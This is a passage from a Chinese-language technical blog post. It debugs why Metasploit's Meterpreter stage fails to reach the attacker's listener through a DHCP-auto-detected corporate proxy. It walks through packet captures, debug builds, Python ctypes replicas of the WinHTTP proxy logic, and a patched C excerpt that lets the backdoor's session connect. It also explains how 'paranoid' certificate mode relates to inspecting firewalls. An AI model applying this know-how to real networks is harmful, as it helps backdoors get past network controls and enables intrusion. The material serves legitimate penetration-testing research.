在上图的前5个数据包中，我们可以看到受害者主机（10.x.x.189）与代理服务器（10.x.x.20）的TCP连接中断标识（FIN、ACK；ACK；FIN、ACK；ACK）。之后我们可以看到，第6个数据包为受害者主机直接发往攻击者主机的数据包，其中包含一个TCP
SYN标志（用来初始化一个TCP握手过程），也就是说受害者主机没有使用代理服务器作为建连的跳板。最后，我们可以看到，第7个数据包为受害者主机所收到的网关响应报文，表明建连目的地（即攻击者主机）无法通过该网络直接访问（我在前文提到过，这个环境中必须使用代理服务器才能访问互联网）。
通过上述抓包结果，我们知道Meterpreter会话建立失败。我们认为Meterpreter传输体载荷之所以不能访问监听端，原因在于传输体载荷使用了直接建连方式，没有像传输器载荷那样使用系统代理服务器。
现在我们要做的就是下载Meterpreter源代码，尝试从源代码角度分析这种行为的根本原因。为此，我们需要遵循Rapid7在github上发布的如何在Windows上编译的指南（读者可以在本文的参考资料中找到相关链接）。
根据指南给出的建议，我们使用Visual Studio 2013打开项目解决方案文件（metasploit-payloadscmeterpreterworkspacemeterpreter.sln），开始分析源代码。
浏览源代码之后，我们发现在源代码的“server_transport_winhttp.c”文件中，有关于代理处理逻辑的具体实现（请阅读参考资料快速定位源代码文件）。
Meterpreter中对代理设置情况的判断如以下部分代码所示：
我之前从github了解到，Meterpreter的reverse_https（第一次）会尝试使用WinHTTP Windows
API访问互联网，正如我们在这部分代码中看到的情况一样。
从代码中我们可以看到很多dprint调用语句，使用这些语句是为了方便调试，以便在运行时给我们提供有价值的信息。
为了使这些调试信息对我们可见，我们需要编辑源代码中的common.h头文件，修改其中的DEBUGTRACE预处理器（pre-processor）常量，这样就可以使服务器（受害者主机中加载的Meterpreter DLL文件）在Visual
Stuido的Output窗口打印调试信息，我们也可以使用SysInternals的DebugView工具或者Windbg工具查看调试信息。
在原始的common.h头文件中，DEBUGTRACE常量在代码中处于被注释状态，如下图所示：
现在我们可以编译工程文件，将生成的“metsrv.x86.dll”二进制文件（位于“metasploit-payloadscmeterpreteroutputx86”文件夹中）拷贝到攻击者主机中（即运行metasploit监听端的主机）的正确文件目录中（对我来说，这个目录位于“/usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/metasploit-payloads-1.1.26/data/meterpreter/”路径）。
在调试主机上，我们运行DebugView工具，然后执行后门程序，使Meterpreter传输器载荷再次运行。
受害者主机上的调试信息输出如下：
从Meterpreter生成的调试（日志）信息中，我们可以看到第70-74行对应的是 “server_transport_winhttp.c”
源代码文件中第48-52行的dprintf语句。具体说来，第71行（““[PROXY] AutoDetect:
yes””）表明程序检测出来受害者主机上的代理被设置为“自动检测（AutoDetect）”。然而，获取的代理URL地址却为空（NULL）。最后，我们可以观察到传输体载荷试图发送GET请求（第75行）。
感谢Meterpreter生成的调试信息，现在我们已经接近事实的真相。看起来程序中负责处理Windows代理的代码片段没有被正确实现。为了解决这个问题，我们需要对代码进行分析、修改以及测试。
我需要重复多次编译Meterpreter的C工程文件，将生成的metsrv
DLL拷贝到攻击者主机中，使用受害者主机进行测试，这个过程非常耗时。因此我决定使用Python语言，复制C文件中与代理有关的处理代码，这样一来整个处理过程会更加轻松（感谢Python
ctypes库的强大功能）。
提取“server_transport_winhttp.c”源代码中与Meterpreter的代理处理逻辑有关的代码，将其转换为Python语言，如下所示：
import ctypes
import ctypes.wintypes
import sys
class WINHTTP_CURRENT_USER_IE_PROXY_CONFIG(ctypes.Structure):
_fields_ = [("fAutoDetect", ctypes.wintypes.BOOL),
("lpszAutoConfigUrl", ctypes.wintypes.LPWSTR),
("lpszProxy", ctypes.wintypes.LPWSTR),
("lpszProxyBypass", ctypes.wintypes.LPWSTR)]
class WINHTTP_AUTOPROXY_OPTIONS(ctypes.Structure):
_fields_ = [("dwFlags", ctypes.wintypes.DWORD),
("dwAutoDetectFlags", ctypes.wintypes.DWORD),
("lpszAutoConfigUrl", ctypes.wintypes.LPCWSTR),
("lpvReserved", ctypes.c_void_p),
("dwReserved", ctypes.wintypes.DWORD),
("fAutoLogonIfChallenged", ctypes.wintypes.BOOL)]
class WINHTTP_PROXY_INFO(ctypes.Structure):
_fields_ = [("dwAccessType", ctypes.wintypes.DWORD),
("lpszProxy", ctypes.wintypes.LPCWSTR),
("lpszProxyBypass", ctypes.wintypes.LPCWSTR)]
# dwFlags values
WINHTTP_AUTOPROXY_AUTO_DETECT = 0x00000001
WINHTTP_AUTOPROXY_CONFIG_URL = 0x00000002
# dwAutoDetectFlags values
WINHTTP_AUTO_DETECT_TYPE_DHCP = 0x00000001
WINHTTP_AUTO_DETECT_TYPE_DNS_A = 0x00000002
# Parameters for WinHttpOpen
WINHTTP_USER_AGENT = "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY = 0
WINHTTP_NO_PROXY_NAME = 0
WINHTTP_NO_PROXY_BYPASS = 0
WINHTTP_FLAG_ASYNC = 0x10000000
test_url = "http://www.google.com"
# Gets the current user IE proxy configuration
ieConfig = WINHTTP_CURRENT_USER_IE_PROXY_CONFIG()
result = ctypes.windll.winhttp.WinHttpGetIEProxyConfigForCurrentUser(ctypes.byref(ieConfig))
if not result:
print "[-] Error on WinHttpGetIEProxyConfigForCurrentUser: %s" % ctypes.GetLastError()
sys.exit()
print "[+] Got IE configuration"
print "tAutoDetect: %s" % ieConfig.fAutoDetect
print "tAuto URL: %s" % ieConfig.lpszAutoConfigUrl
print "tProxy: %s" % ieConfig.lpszProxy
print "tProxy Bypass: %s" % ieConfig.lpszProxyBypass
# We have three alternatives:
# 1. The configuration is set to "auto detect" the proxy, that is, via DHCP or DNS (in that order)
# 2. There is a URL for downloading the script with the configuration (proxy autoconfiguration, PAC)
# 3. A manually configured proxy is being used
if ieConfig.lpszAutoConfigUrl:
autoProxyOpts = WINHTTP_AUTOPROXY_OPTIONS()
proxyInfo = WINHTTP_PROXY_INFO()
print "[+] IE config set to autodetect with URL %s" % ieConfig.lpszAutoConfigUrl
autoProxyOpts.dwFlags = WINHTTP_AUTOPROXY_AUTO_DETECT | WINHTTP_AUTOPROXY_CONFIG_URL
autoProxyOpts.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A
autoProxyOpts.fAutoLogonIfChallenged = True
autoProxyOpts.lpszAutoConfigUrl = ieConfig.lpszAutoConfigUrl
hInternet = ctypes.windll.winhttp.WinHttpOpen(WINHTTP_USER_AGENT, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, WINHTTP_FLAG_ASYNC)
if not hInternet:
print "[-] Error on WinHttpOpen: %s" % ctypes.GetLastError()
sys.exit()
result = ctypes.windll.winhttp.WinHttpGetProxyForUrl(hInternet, unicode(test_url), ctypes.byref(autoProxyOpts), ctypes.byref(proxyInfo))
if not result:
print "[-] Error on WinHttpGetProxyForUrl: %s" % ctypes.GetLastError()
sys.exit()
print "[+] Proxy Host: %s" % proxyInfo.lpszProxy
elif ieConfig.lpszProxy:
print "[+] IE config set to proxy %s with bypass %s" % (ieConfig.lpszProxy, ieConfig.lpszProxyBypass)
这一段脚本程序在受害者主机上的执行结果如下图所示：
从脚本的输出信息中，我们可知Python程序的执行结果与C版本的一致。程序检测到代理的自动配置选项，但没有获取到代理地址。
如果我们再次检查代码，我们会发现，程序在某个“if”代码块内判断是否可能使用DHCP以及DNS获取代理信息，如果自动配置URL（ieConfig.lpszAutoConfigUrl）的条件为真就会执行这个代码块。然而，如果仅仅启用了AutoDetect选项，这部分代码并不会被执行，而这正是受害者主机上发生的情况。
在这个特定场景中（受害者主机所处的环境），代理的配置信息需要通过DHCP的252选项获取。
受害者主机上嗅探的DHCP传输数据包如下图所示：
从这个传输数据包中我们可以看出，DHCP服务器的应答中包含252选项（“Private/Proxy
autodiscovery”，私有选项，用于代理的自动发现），包含代理的URL地址。这正是我们在运行autoprox.exe工具时获得的信息。
在继续分析之前，我们需要了解Windows为代理配置提供的三种选项：
1、自动检测代理设置：使用DHCP（252选项）获取代理URL地址，或者使用DNS、LLMNR、NBNS（如果启用的话）获取WPAD主机名；
2、使用自动配置脚本：从某个URL下载配置脚本，通过这个脚本决定何时使用代理服务器；
3、手动设置代理服务器：为不同的协议手动配置代理服务器。
关于这个问题的根本原因，现在我们又掌握了更多的信息，我会稍微修改程序代码，将代理自动检测的可能性考虑在内。让我们先修改Python代码，如果代码工作正常，我们就可以修改Meterpreter的C语言代码，然后再编译生成Meterpreter载荷。
修改后的Python代码如下所示：
import ctypes
import ctypes.wintypes
import sys
class WINHTTP_CURRENT_USER_IE_PROXY_CONFIG(ctypes.Structure):
_fields_ = [("fAutoDetect", ctypes.wintypes.BOOL),
("lpszAutoConfigUrl", ctypes.wintypes.LPWSTR),
("lpszProxy", ctypes.wintypes.LPWSTR),
("lpszProxyBypass", ctypes.wintypes.LPWSTR)]
class WINHTTP_AUTOPROXY_OPTIONS(ctypes.Structure):
_fields_ = [("dwFlags", ctypes.wintypes.DWORD),
("dwAutoDetectFlags", ctypes.wintypes.DWORD),
("lpszAutoConfigUrl", ctypes.wintypes.LPCWSTR),
("lpvReserved", ctypes.c_void_p),
("dwReserved", ctypes.wintypes.DWORD),
("fAutoLogonIfChallenged", ctypes.wintypes.BOOL)]
class WINHTTP_PROXY_INFO(ctypes.Structure):
_fields_ = [("dwAccessType", ctypes.wintypes.DWORD),
("lpszProxy", ctypes.wintypes.LPCWSTR),
("lpszProxyBypass", ctypes.wintypes.LPCWSTR)]
# dwFlags values
WINHTTP_AUTOPROXY_AUTO_DETECT = 0x00000001
WINHTTP_AUTOPROXY_CONFIG_URL = 0x00000002
# dwAutoDetectFlags values
WINHTTP_AUTO_DETECT_TYPE_DHCP = 0x00000001
WINHTTP_AUTO_DETECT_TYPE_DNS_A = 0x00000002
# Parameters for WinHttpOpen
WINHTTP_USER_AGENT = "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY = 0
WINHTTP_NO_PROXY_NAME = 0
WINHTTP_NO_PROXY_BYPASS = 0
WINHTTP_FLAG_ASYNC = 0x10000000
test_url = "http://www.google.com"
# Gets the current user IE proxy configuration
ieConfig = WINHTTP_CURRENT_USER_IE_PROXY_CONFIG()
result = ctypes.windll.winhttp.WinHttpGetIEProxyConfigForCurrentUser(ctypes.byref(ieConfig))
if not result:
print "[-] Error on WinHttpGetIEProxyConfigForCurrentUser: %s" % ctypes.GetLastError()
sys.exit()
print "[+] Got IE configuration"
print "tAutoDetect: %s" % ieConfig.fAutoDetect
print "tAuto URL: %s" % ieConfig.lpszAutoConfigUrl
print "tProxy: %s" % ieConfig.lpszProxy
print "tProxy Bypass: %s" % ieConfig.lpszProxyBypass
# We have three alternatives:
# 1. The configuration is to "auto detect" the proxy, that is, via DHCP or DNS
# 2. There is a URL for the script with the configuratoin (proxy autoconfiguration, PAC)
# 3. A manually configured proxy is being used
if ieConfig.lpszAutoConfigUrl or ieConfig.fAutoDetect:
autoProxyOpts = WINHTTP_AUTOPROXY_OPTIONS()
proxyInfo = WINHTTP_PROXY_INFO()
if ieConfig.lpszAutoConfigUrl:
print "[+] IE config set to autodetect with URL %s" % ieConfig.lpszAutoConfigUrl
autoProxyOpts.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL
autoProxyOpts.dwAutoDetectFlags = 0
autoProxyOpts.lpszAutoConfigUrl = ieConfig.lpszAutoConfigUrl
if ieConfig.fAutoDetect:
print "[+] IE config set to autodetect via DHCP or DNS"
autoProxyOpts.dwFlags = WINHTTP_AUTOPROXY_AUTO_DETECT
autoProxyOpts.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A
autoProxyOpts.lpszAutoConfigUrl = 0
autoProxyOpts.fAutoLogonIfChallenged = True
hInternet = ctypes.windll.winhttp.WinHttpOpen(WINHTTP_USER_AGENT, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, WINHTTP_FLAG_ASYNC)
if not hInternet:
print "[-] Error on WinHttpOpen: %s" % ctypes.GetLastError()
sys.exit()
result = ctypes.windll.winhttp.WinHttpGetProxyForUrl(hInternet, unicode(test_url), ctypes.byref(autoProxyOpts), ctypes.byref(proxyInfo))
if not result:
print "[-] Error on WinHttpGetProxyForUrl: %s" % ctypes.GetLastError()
sys.exit()
print "[+] Proxy Host: %s" % proxyInfo.lpszProxy
elif ieConfig.lpszProxy:
print "[+] IE config set to proxy %s with bypass %s" % (ieConfig.lpszProxy, ieConfig.lpszProxyBypass)
修改后的代码考虑到了通过DHCP/DNS获取代理的可能性。现在我们可以运行这段代码，观察代码的执行结果。
修改后的Python代码在受害者主机上的执行结果如下图所示：
从上图可知，程序成功通过DHCP获取了代理信息，代理信息与本文开头给出的信息一致（即10.x.x.20）。
Python版的代码工作正常，我们可以更新Meterpreter的C版代码（server_transport_winhttp.c），测试我们的后门程序能否正常运行。
修改后的Meterpreter源代码如下所示：
...
dprintf("[PROXY] Got IE configuration");
dprintf("[PROXY] AutoDetect: %s", ieConfig.fAutoDetect ? "yes" : "no");
dprintf("[PROXY] Auto URL: %S", ieConfig.lpszAutoConfigUrl);
dprintf("[PROXY] Proxy: %S", ieConfig.lpszProxy);
dprintf("[PROXY] Proxy Bypass: %S", ieConfig.lpszProxyBypass);
if (ieConfig.lpszAutoConfigUrl || ieConfig.fAutoDetect)
{
WINHTTP_AUTOPROXY_OPTIONS autoProxyOpts = { 0 };
WINHTTP_PROXY_INFO proxyInfo = { 0 };
if (ieConfig.fAutoDetect)
{
dprintf("[PROXY] IE config set to autodetect via DHCP or DNS");
autoProxyOpts.dwFlags = WINHTTP_AUTOPROXY_AUTO_DETECT;
autoProxyOpts.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A;
autoProxyOpts.lpszAutoConfigUrl = 0;
}
else if (ieConfig.lpszAutoConfigUrl)
{
dprintf("[PROXY] IE config set to autodetect with URL %S", ieConfig.lpszAutoConfigUrl);
autoProxyOpts.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL;
autoProxyOpts.dwAutoDetectFlags = 0;
autoProxyOpts.lpszAutoConfigUrl = ieConfig.lpszAutoConfigUrl;
}
autoProxyOpts.fAutoLogonIfChallenged = TRUE;
if (WinHttpGetProxyForUrl(ctx->internet, ctx->url, &autoProxyOpts, &proxyInfo))
...
代码修改完毕后，我们重新编译工程文件，将生成的metsrv Meterpreter DLL文件拷贝到监听端主机上，再次运行监听端，等待客户端连接。
监听端在攻击者主机上的运行情况如下图所示：
从上图可知，当受害者主机使用“自动探测”代理选项时（本例中使用的是DHCP的252选项），我们能够成功建立Meterpreter会话。
**三、分析问题的根本原因**
文章阅读至此，现在是时候讨论以下这些问题了：
1、为什么最开始时，传输器载荷能够到达攻击者主机？
2、传输器载荷与传输体载荷在通信上有什么区别？
为了找到这些问题的答案，我们首先需要理解Meterpreter（在本文撰写时）的工作机制。
Windows
API提供了两种方式（或接口）与HTTP(s)进行交互：WinInet以及WinHTTP。对于Meterpreter而言，我们需要关注它在处理HTTPs通信时的两个功能：
1、Meterpreter可以验证HTTPs服务器（即运行在攻击者主机上的Metasploit监听端）所提供的证书签名，避免代理设备（如L7网络防火墙）检查其通信内容。
2、Meterpreter可以透明地使用当前用户的代理设置，通过互联网访问监听端。
这两个功能无法同时在同一个Windows API中找到，具体如下：
**WinInet：**
1、可以透明感知代理。也就是说，如果当前用户系统的代理设置适用于Internet
Explorer浏览器，那么这个设置对使用WinInet的程序来说同样适用。
2、不支持SSL/TLS证书的自定义验证。
**WinHTTP：**
1、允许自定义验证服务器所提供的SSL证书。
2、不能透明地使用当前用户的系统代理设置。
现在，对于Meterpreter而言，我们可以使用两种不同的传输器载荷：
1、Meterpreter的reverse_https载荷。该载荷使用的是WinInet这个Windows
API，这意味着它不能验证服务器证书，但可以透明地使用系统代理。也就是说，如果用户可以通过IE浏览器访问互联网，那么这个传输器载荷也可以。
2、Meterpreter的reverse_winhttps载荷。该载荷使用的是WinHTTP这个Windows
API，这意味着它可以验证服务器证书，但必须手动设置代理信息才能访问互联网。
对Meterpreter传输体载荷来说，默认情况下它使用的是WinHTTP Windows API，如果出现问题则会切换为使用WinInet
API（读者可以阅读官方文档，查看旧版本中如何判断代理是否存在问题）。这种切换是自动发生的，除非用户决定使用“paranoid”（偏执）模式，这种模式优先级较高。
请注意：对于Meterpreter而言，使用“paranoid”模式意味着SSL/TLS证书签名必须被验证，如果证书签名被替换（比如，Palo
Alto网络防火墙会替换证书以检查通信内容），那么传输体载荷就不会被下载，当然会话也无法成功建立。如果用户确实需要使用“paranoid”模式，那么传输器载荷就必须使用WinHTTP这个Windows
API。
现在对于这个问题，我们已经掌握了必要的背景知识。之前我使用的是“reverse_https”
Meterpreter载荷（出于测试目的，没有使用“paranoid”模式），这意味着传输器载荷使用的是WinInet
API来访问监听端，也就是说它透明地使用了当前用户的代理设置，可以正常工作。然而，Meterpreter传输体载荷默认使用的是WinHTTP
API，根据我们前面的分析结论，这个载荷在处理代理时有个bug，因此无法回连到攻击者主机上的监听端。我想这足以回答我们前面提出来的两个问题。
**四、代理识别方法**
我们并没有回答另外一个问题，那就是：在使用WinHTTP Windows API时，获取当前用户代理设置的最佳方法是什么？
为了回答这个问题，我们需要探索系统在处理代理时的优先级。当系统中配置了多个代理的情况下，如果某个代理无法正常工作，Windows如何处理这种情况（即Windows是否会尝试另一个代理选项）。
根据我的研究结论，代理设置的优先级与Internet选项中设置的代理顺序一致。也就是说，系统首先会检查“自动检测设置”选项是否已设置，然后再检查“使用自动配置脚本”选项是否已设置，最后再检查“为LAN使用代理服务器”选项是否设置。
此外，我们可以在微软MSDN的“开发者代码示例”中，找到使用WinHTTP API的示例代码，其中关于代理的优先级，有这样一段说明：
// WinHTTP API会按照以下顺序检测代理：
// 1) 自动检测
// 2) 自动配置的URL
// 3) 静态配置的代理
这个说明跟我们前面提到的代理优先级一样。
**五、容错机制**
前面我们提到的问题是，假设当前主机配置了多个代理选项，如果某个优先选项失效了，结果会如何？Windows是否会按照优先级继续尝试下一选项，直到找到一个可用的代理？
为了回答这个问题，我们可以做个简单的实验，或者花无数个小时，逆向分析与代理有关的Windows组件（主要是wininet.dll）。我们可以先尝试做个实验，至少这个过程花费的时间没那么多。
**5.1 实验环境**
为了进一步分析Windows的代理设置及功能，我创建了如下的实验环境：
使用1台域控的Windows域环境：
1、域：lab.bransh.com
2、域控IP：192.168.0.1
3、DHCP地址范围：192.168.0.100–150
3个微软Forefront TMG（Thread Management Gateway）服务器：
1、tmg1.lab.bransh.com：192.168.0.10
2、tmg2.lab.bransh.com：192.168.0.11
3、tmg3.lab.bransh.com：192.168.0.12
每个TMG服务器都有两个网络接口：“内部（internal）”接口（地址范围为192.168.0.x）连接到域中，客户端可以通过这个接口访问互联网。“外部（external）”接口连接到另一个网络，代理使用这个接口直接访问互联网。
1台Windows主机（Windows 8.1 x64）：
1、通过DHCP获取IP地址
2、代理设置情况：
（1）通过DHCP获取的代理（252选项）：tmg1.lab.bransh.com
（2）通过脚本配置的代理：http://tmg2.lab.bransh.com/wpad.dat
（3）手动设置的代理：tmg3.lab.bransh.com:8080
3、Windows主机无法直接访问互联网
4、Firefox浏览器设置为使用系统代理
Windows主机的代理设置情况如下图所示：
通过DHCP（252选项）获取的代理信息如下图所示：
请注意：“自动检测设置”选项可以通过DHCP或DNS获取代理信息。我们在使用Windows API时，可以指定使用哪种（或者同时使用两种）方式获取代理信息。
我们可以编写一段简单的代码，使用Windows提供的API，测试几种代理场景。我先写了一段Python代码，因为这样我可以更加简单地修改和运行代码，而不需要像C/C++代码那样每次修改后都需要重新编译。读者可以根据自己的喜好选择喜欢的语言完成这一任务。
Python代码如下：
import ctypes
import ctypes.wintypes
import sys
class WINHTTP_CURRENT_USER_IE_PROXY_CONFIG(ctypes.Structure):
_fields_ = [("fAutoDetect", ctypes.wintypes.BOOL),
("lpszAutoConfigUrl", ctypes.wintypes.LPWSTR),
("lpszProxy", ctypes.wintypes.LPWSTR),
("lpszProxyBypass", ctypes.wintypes.LPWSTR)]
class WINHTTP_AUTOPROXY_OPTIONS(ctypes.Structure):
_fields_ = [("dwFlags", ctypes.wintypes.DWORD),
("dwAutoDetectFlags", ctypes.wintypes.DWORD),
("lpszAutoConfigUrl", ctypes.wintypes.LPCWSTR),
("lpvReserved", ctypes.c_void_p),
("dwReserved", ctypes.wintypes.DWORD),
("fAutoLogonIfChallenged", ctypes.wintypes.BOOL)]
class WINHTTP_PROXY_INFO(ctypes.Structure):
_fields_ = [("dwAccessType", ctypes.wintypes.DWORD),
("lpszProxy", ctypes.wintypes.LPCWSTR),
("lpszProxyBypass", ctypes.wintypes.LPCWSTR)]
WINHTTP_USER_AGENT = ctypes.c_wchar_p('Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko')
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY = 0
WINHTTP_ACCESS_TYPE_NO_PROXY = 1
WINHTTP_ACCESS_TYPE_NAMED_PROXY = 3
WINHTTP_NO_PROXY_NAME = 0
WINHTTP_NO_PROXY_BYPASS = 0
def ShowLastError(message, alignment = 0):
error_id = ctypes.GetLastError()
print ' ' * alignment + '[-] Error on %s: %s' % (message, error_id)
if error_id == 12167:
title = 'ERROR_WINHTTP_UNABLE_TO_DOWNLOAD_SCRIPT'
message = 'The PAC file cannot be downloaded. For example, the server referenced by the PAC URL may not have been reachable, or the server returned a 404 NOT FOUND response.'
elif error_id == 12007:
title = 'ERROR_WINHTTP_NAME_NOT_RESOLVED'
message = 'The server name cannot be resolved.'
elif error_id == 12029:
title = 'ERROR_WINHTTP_CANNOT_CONNECT'
message = 'Returned if connection to the server failed.'
elif error_id == 12002:
title = 'ERROR_WINHTTP_TIMEOUT'
message = 'The request has timed out.'
elif error_id == 12180:
title = 'ERROR_WINHTTP_AUTODETECTION_FAILED'
message = 'Returned by WinHttpDetectAutoProxyConfigUrl if WinHTTP was unable to discover the URL of the Proxy Auto-Configuration (PAC) file.'
else:
title = 'UNKNOWN'
message = 'unknown'
msg_max_len = 70
msg_list = [message[i:i+msg_max_len] for i in range(0, len(message), msg_max_len)]
print ' ' * alignment + ' => %s' % title
for msg in msg_list:
print ' ' * alignment + ' %s' % msg
def GetCurrentProxies():
pProxyConfig = WINHTTP_CURRENT_USER_IE_PROXY_CONFIG()
result = ctypes.windll.winhttp.WinHttpGetIEProxyConfigForCurrentUser(ctypes.byref(pProxyConfig))
if result == False:
ShowLastError('WinHttpGetIEProxyConfigForCurrentUser')
return False, None
return True, pProxyConfig
def GetProxyInfoList(pProxyConfig, target_url):
print 'n[*] Checking proxy configuration alternatives...'
proxy_list = []
hSession = ctypes.windll.winhttp.WinHttpOpen(WINHTTP_USER_AGENT, WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0)
if hSession is None:
ShowLastError('WinHttpOpen')
sys.exit()
WINHTTP_AUTOPROXY_AUTO_DETECT = 0x00000001
WINHTTP_AUTO_DETECT_TYPE_DHCP = 0x00000001
WINHTTP_AUTO_DETECT_TYPE_DNS_A = 0x00000002
WINHTTP_AUTOPROXY_CONFIG_URL = 0x00000002
if pProxyConfig.fAutoDetect:
print 'n (1) Automatically detect settings (enabled)'
print ' [*] Trying to get the proxy using the conventional method...'
pAutoProxyOptions = WINHTTP_AUTOPROXY_OPTIONS()
pProxyInfo = WINHTTP_PROXY_INFO()
pAutoProxyOptions.dwFlags = WINHTTP_AUTOPROXY_AUTO_DETECT
pAutoProxyOptions.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A
pAutoProxyOptions.lpszAutoConfigUrl = 0
lpcwszUrl = ctypes.wintypes.LPCWSTR(target_url)
result = ctypes.windll.winhttp.WinHttpGetProxyForUrl(hSession, lpcwszUrl, ctypes.byref(pAutoProxyOptions), ctypes.byref(pProxyInfo))
if result == False:
ShowLastError('WinHttpGetProxyForUrl', 6)
print 'n [*] Trying to get the proxy using the AutoConfigURL...'
dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A
ppwszAutoConfigUrl = ctypes.wintypes.LPWSTR()
result = ctypes.windll.winhttp.WinHttpDetectAutoProxyConfigUrl(dwAutoDetectFlags, ctypes.byref(ppwszAutoConfigUrl))
if result == False:
ShowLastError('WinHttpDetectAutoProxyConfigUrl', 10)
else:
print ' [+] Trying to get the proxy from the obtained URL (%s)' % ppwszAutoConfigUrl.value
pAutoProxyOptions.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL
pAutoProxyOptions.dwAutoDetectFlags = 0
pAutoProxyOptions.fAutoLogonIfChallenged = True
pAutoProxyOptions.lpszAutoConfigUrl = ppwszAutoConfigUrl
result = ctypes.windll.winhttp.WinHttpGetProxyForUrl(hSession, lpcwszUrl, ctypes.byref(pAutoProxyOptions), ctypes.byref(pProxyInfo))
if result:
print ' [+] Proxy: %s' % (pProxyInfo.lpszProxy)
proxy_list.append(pProxyInfo)
else:
ShowLastError('WinHttpGetProxyForUrl', 10)
else:
print ' [+] Proxy: %s' % (pProxyInfo.lpszProxy)
proxy_list.append(pProxyInfo)
if pProxyConfig.lpszAutoConfigUrl:
print 'n (2) Use automatic configuration script (%s)' % pProxyConfig.lpszAutoConfigUrl
pAutoProxyOptions = WINHTTP_AUTOPROXY_OPTIONS()
pProxyInfo = WINHTTP_PROXY_INFO()
pAutoProxyOptions.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL
pAutoProxyOptions.dwAutoDetectFlags = 0
pAutoProxyOptions.fAutoLogonIfChallenged = True
pAutoProxyOptions.lpszAutoConfigUrl = pProxyConfig.lpszAutoConfigUrl
lpcwszUrl = ctypes.wintypes.LPCWSTR(target_url)
result = ctypes.windll.winhttp.WinHttpGetProxyForUrl(hSession, lpcwszUrl, ctypes.byref(pAutoProxyOptions), ctypes.byref(pProxyInfo))
if result == False:
ShowLastError('WinHttpGetProxyForUrl', 6)
else:
print ' [+] Proxy: %s' % (pProxyInfo.lpszProxy)
proxy_list.append(pProxyInfo)
if pProxyConfig.lpszProxy:
print 'n (3) Use a proxy server for your LAN'
pProxyInfo = WINHTTP_PROXY_INFO()
WINHTTP_ACCESS_TYPE_NAMED_PROXY = 3
pProxyInfo.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY
pProxyInfo.lpszProxy = pProxyConfig.lpszProxy
pProxyInfo.lpszProxyBypass = pProxyConfig.lpszProxyBypass
print ' [+] Proxy: %s' % pProxyConfig.lpszProxy
print ' [+] Proxy Bypass: %s' % pProxyConfig.lpszProxyBypass
proxy_list.append(pProxyInfo)
ctypes.windll.winhttp.WinHttpCloseHandle(hSession)
return proxy_list
def CheckProxyStatus(proxyInfo, target_server, target_port):
hSession = ctypes.windll.winhttp.WinHttpOpen(WINHTTP_USER_AGENT, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0)
if hSession is None:
ShowLastError('WinHttpOpen')
return
server_name = ctypes.c_wchar_p(target_server)
INTERNET_DEFAULT_HTTP_PORT = target_port
hInternet = ctypes.windll.winhttp.WinHttpConnect(hSession, server_name, INTERNET_DEFAULT_HTTP_PORT, 0)
if hInternet is None:
ShowLastError('WinHttpConnect', 8)
return False
WINHTTP_FLAG_BYPASS_PROXY_CACHE = 0x00000100
WINHTTP_FLAG_SECURE = 0x00800000
dwFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE
pwszVerb = ctypes.c_wchar_p('GET')
pwszObjectName = ctypes.c_wchar_p('')
hRequest = ctypes.windll.winhttp.WinHttpOpenRequest(hInternet, pwszVerb, pwszObjectName, 0, 0, 0, dwFlags)
if hRequest is None:
ShowLastError('WinHttpOpenRequest', 8)
return False
WINHTTP_OPTION_PROXY = 38
result = ctypes.windll.winhttp.WinHttpSetOption(hRequest, WINHTTP_OPTION_PROXY, ctypes.byref(proxyInfo), ctypes.sizeof(proxyInfo))
if result == False:
ShowLastError('WinHttpSetOption', 8)
return False
WINHTTP_NO_ADDITIONAL_HEADERS = 0
WINHTTP_NO_REQUEST_DATA = 0
result = ctypes.windll.winhttp.WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0)
if result == False:
ShowLastError('WinHttpSendRequest', 8)
return False
else:
WINHTTP_QUERY_STATUS_CODE = 19
WINHTTP_QUERY_STATUS_TEXT = 20
WINHTTP_QUERY_RAW_HEADERS_CRLF = 22
WINHTTP_HEADER_NAME_BY_INDEX = 0
WINHTTP_NO_HEADER_INDEX = 0
dwInfoLevel = WINHTTP_QUERY_RAW_HEADERS_CRLF
lpdwBufferLength = ctypes.wintypes.DWORD()
lpdwIndex = ctypes.wintypes.DWORD()
result = ctypes.windll.winhttp.WinHttpReceiveResponse(hRequest, 0)
if result:
result = ctypes.windll.winhttp.WinHttpQueryHeaders(hRequest, WINHTTP_QUERY_RAW_HEADERS_CRLF,
WINHTTP_HEADER_NAME_BY_INDEX, 0,
ctypes.byref(lpdwBufferLength),
WINHTTP_NO_HEADER_INDEX)
ERROR_INSUFFICIENT_BUFFER = 122
